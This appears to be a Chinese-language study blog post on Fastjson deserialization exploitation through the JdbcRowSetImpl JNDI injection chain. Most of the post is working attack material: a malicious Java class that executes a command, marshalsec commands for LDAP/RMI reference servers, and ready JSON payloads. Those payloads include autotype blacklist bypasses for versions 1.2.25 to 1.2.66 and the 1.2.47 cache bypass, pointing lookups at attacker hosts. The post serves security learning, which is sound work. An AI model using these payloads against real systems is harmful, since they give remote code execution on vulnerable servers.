Fastjson JdbcRowSetImpl利用鏈學習

akka1發表於2022-04-14

JdbcRowSetImpl

接著繼續學習fastjson的第二條鏈JdbcRowSetImpl，主要是利用jndi注入達到的攻擊，而且沒有什麼利用限制，而且其原理就是setter的自動呼叫，具體setter呼叫程式碼可以參考上篇文章除錯的部分

1、漏洞復現

1.1、元件依賴版本

fastjson:1.2.22-1.2.24

1.2、利用方式

不像TemplatesImpl鏈需要指定的利用方式，JdbcRowSetImpl鏈只需要可以控制輸入就能利用。

JSON.parse(evil);
JSON.parseObject(evil);
JSON.parseObject(evil, Object.class);

當然對jdk的版本有需求，因為高版本jdk對jndi和rmi有限制，在rmi篇也有說明這裡再次貼出，方便自己以後檢視

RMI利用的JDK版本≤ JDK 6u132、7u122、8u113

LADP利用JDK版本≤ 6u211 、7u201、8u191

圖為阿里雲應用

1.3、漏洞復現

準備惡意的程式碼

import java.io.IOException;

public class EXP {
    public EXP() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
}

編譯惡意程式碼

javac EXP.java

開啟http服務

python3 -m http.server

用marshalsec開jndi服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#EXP 1389

使用JdbcRowSetImpl構造poc，成功彈窗

package com.akkacloud.demo;

import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }

    }
}

因為fastjson會自動呼叫setter和getter，具體可以看

Poc除錯的那部分,所以我們就可以構造處fastjson的poc

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

我們JSON.parse()試一下

poc

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {
        String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
        JSON.parse(exp);
    }
}

1.4、利用鏈除錯

這次我們就直接跳過fastjson的利用鏈，因為在TemplateImpl中已經詳細跟進過，我們直接進入到 jdbcRowImpl，在setDataSourceName方法打下斷點，其實看呼叫棧也是可以看出，前半部分是跟TemplatesImpl鏈是一樣的，一個呼叫的是getOutputproperties，一個是setDataSourceName。

我們繼續看，先判斷DataSourceName的是否為null，不為就呼叫父類方法賦值，我們也跟進去看看

可以看到就是簡單的dataSource賦值，然後就到setAutoCommit

就是判斷this.conn是否為null，null就呼叫this.connect()方法賦值，我們也跟進去看看

跟進來發現，獲取上下文然呼叫lookup方法，引數就是我們獲取我們前面賦值dataSource

然後就成功執行程式碼了

2、漏洞繞過

前面的兩條鏈都是的Fastjson版本都是1.2.22-1.2.24,後面就是繞過了。

2.1、Fastjson:1.2.25-1.2.41

我們先把依賴版本改成1.2.25,再次執行poc發現不行了，報錯，說autotype不支援，我們比較一下兩個包

我們在TemplatesImpl時，看過這段程式碼,this.config是ParserConfig，而ref是templatesImpl，他用checkAutoType檢查了ref,我們看看他怎麼檢查的，我們在此處打下斷點

確實在1.2.25會使用checkAutoType來校驗ref(TemplatesImpl)，我們跟進去發現要呼叫TypeUtils.loadClass，需要進入if，但是this.autoTypeSupport預設為false，所以進不去，

而且在1.2.25版本中預設為flase，我們需要把this.autoTypeSupport設定為true，

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

然後到了this.acceptList(白名單)，因為他本身就是空的

然後就是黑名單denyList，我們看看是什麼東西，發現我們com.sun包就在這裡和其他的一些利用鏈類。

那我們應該怎麼辦呢？我們怎辦才能進入TypeUtils.loadClass(typeName, this.defaultClassLoader)，大佬們是跟進去TypeUtils.loadClass方法，發現了繞過方法，我們也跟進去。

跟進來發現，一種是@Type欄位開頭是 ”[“，另一種“L”開頭與“;”結尾，他就會從第二個字元獲取我們的className。

所以我們就可以構造新的payload,前提掉件就是AutoTypeSupport要為ture

ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 必須顯示關閉白名單
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";
JSON.parseObject(exp);

2.2、Fastjson:1.2.42

我們繼續修改fastjson版本為1.2.42，繼續報錯autotype不支援，應該是黑名單問題。

我們除錯點依舊打在checkAutoType，繼續跟進看看

進來發現一堆hash，但是扔然進入到我們的第一紅框，把className的"L"和";"去除掉了。

而且hash的加密方式就在com.alibaba.fastjson.util.TypeUtils#fnv1a_64，我們只需要通過把惡意的類通過碰撞hash就可以獲取黑名單了，專案地址:https://github.com/LeadroyaL/fastjson-blacklist

因為前面已經去除過一次"L"和";"，所以是進入不到if，我們用雙寫就可以繞過了。

修改payload

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/#EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://localhost:1389/#EXP\", \"autoCommit\":true}";


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

2.3、Fastjson:1.2.43

1.2.43就是在原有的基礎上對"LL"做了判定，是就直接丟擲異常

但是"["還是可以

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/EXP", "autoCommit":true}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

 /*       JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        try {
            jdbcRowSet.setDataSourceName("ldap://localhost:1389/#EXP");
            jdbcRowSet.setAutoCommit(true);
        } catch (SQLException throwables) {
            throwables.printStackTrace();
        }*/


        String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://localhost:1389/EXP\", \"autoCommit\":true}" ;


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

2.4、Fastjson:1.2.44

對[進行限制

2.5、Fastjson:1.2.45

利用條件需要目標服務端存在mybatis的jar包，且版本需為3.x.x系列<3.5.0的版本。

<dependency>
  <groupId>org.apache.ibatis</groupId>
  <artifactId>ibatis-core</artifactId>
  <version>3.0</version>
</dependency>

用的是rmi服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://localhost:8000/#EXP 1099

poc

//需要有第三方元件ibatis-core 3:0
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

        String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/EXP\"}}" ;


        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        JSON.parseObject(exp);
    }
}

這裡採用的跟前面的方式不一樣，學習一下

@type指定的是JndiDataSourceFactory類，呼叫的是setProperties,原理依然是fastJson會自動呼叫getter和setter方法。我們跟進setProperties看看

到了這裡就是會lookup，傳入的json字串data_source,造成RCE

2.6、1.2.25-1.2.47通殺

沒有autotype限制和黑名單限制

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

package com.akkacloud.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;

import java.sql.SQLException;

public class fastjonTest2 {
    public static void main(String[] args) {

    String exp = "{\"a\": {\"@type\": \"java.lang.Class\",\"val\": \"com.sun.rowset.JdbcRowSetImpl\"},\"b\": {\"@type\": \"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\": \"ldap://localhost:1389/EXP\",\"autoCommit\": true}}";


        JSON.parseObject(exp);
    }
}

我們跟進分析學習，在checkAutoType,因為我們第一個傳入的是@Type是java.lang.Class，也沒有把autoTypeSupport設定為true，所以會通過TypeUtils.getClassFromMapping(typeName)去查詢，或者從this.deserializers.findClass(typeName)尋找。

在this.deserializers中找到了java.lang.Class，然後就直接返回了clazz，

我們回到上一層DefaultJSONParser的parseObject方法，然後我們繼續走到下面

獲取了java.lang.Class的反序列化處理類，com.alibaba.fastjson.serializer.MiscCodec，然後執行deserializer.deserialze(),跟進去

進入MiscCodec.deserialze()，我們直接進入重點parser.parse()，這個方法就是用來獲取val值的，我們跟進去看看

其實就是遍歷獲取val的值，然後返回

然後賦值給strVal

然後就是一堆if判斷，走到TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader())，把strVal傳進去

跟進來，在mapping裡面存入了jdbcRowSetImpl，就是存入了mapping快取

跟著程式繼續來到checkAutoType()，跟進去。

會在mapping中查詢jdbcRowImpl，因為我們已經存進去，所以clazz就能獲取到，然後返回，我回到上一層

走到這，成功獲取到jdbcRowSetImpl，然後就是自動自行我們的set方法，setDataSourceName、setautoCommit執行lookup，造成rce

2.7、Fastjson:1.2.48

黑名單多了兩條，MiscCodec中將預設傳入的cache變為false，checkAutoType()調整了邏輯

2.8、Fastjson:1.2.62

需要開啟AutoType；
Fastjson <= 1.2.62；
JNDI注入利用所受的JDK版本限制；
目標服務端需要存在xbean-reflect包；

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1099/exploit"}";

2.9、Fastjson:1.2.66

// 需要autotype true
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1389/Calc"}}

參考連結
https://y4er.com/post/fastjson-learn/
https://www.cnblogs.com/nice0e3/p/14776043.html

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